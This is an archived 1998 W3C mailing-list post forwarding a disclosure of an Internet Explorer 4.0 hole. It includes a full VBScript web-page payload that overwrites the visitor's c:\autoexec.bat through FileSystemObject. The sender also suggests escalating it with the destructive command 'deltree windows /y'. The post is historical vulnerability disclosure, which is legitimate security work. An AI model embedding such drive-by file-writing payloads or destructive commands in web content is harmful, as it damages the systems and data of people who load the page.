W3C home > Mailing lists > Public > www-html@w3.org > March 1998

BoS: Another Micro$oft slut! (fwd)

From: [Wuming] [Muwing] <nv96wgzg@Katedral.SE>
Date: Sat, 14 Mar 1998 09:35:13 +0100 (MET)
To: www-html@w3.org
Message-ID: <Pine.GSO.3.96.980314093154.29304A-100000@Calcitratus.Katedral.SE>
Oh, which bug! If this work "good"... I don't know what will happen...

/Wuming

# Mail Forward

Hi all,

Sorry to be out of topic but...

For those who are using Internet Explorer 4.0 YACK!

If you put that little script in a web page, you can modify all the files
you want and make a big crash!

This script works with VBScript 3.x engines...

<HTML>
<HEAD>
</HEAD>
<BODY>
<SCRIPT LANGUAGE="VBSCRIPT">


Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("c:\autoexec.bat", True)
a.WriteLine("@echo off")
a.WriteLine("echo This is a test.")
a.WriteLine("pause")
a.WriteLine("@echo on")
a.Close

</SCRIPT>

</BODY>
</HTML>


Good Bye!

</BODY>
</HTML>


This will replace the autoexec.bat of the client with the content of
"a.writeLine"...

Imagine with "deltree windows /y"

If you plan to try this script, BACKUP YOUR AUTOEXEC.BAT!!!

That's ALLLLLLLLLLLLLLLLLLLLL!

/***Pink Panther The Big pink minou!***/ 
Received on Saturday, 14 March 1998 03:35:29 UTC

This archive was generated by hypermail 2.4.0 : Thursday, 30 April 2020 16:20:33 UTC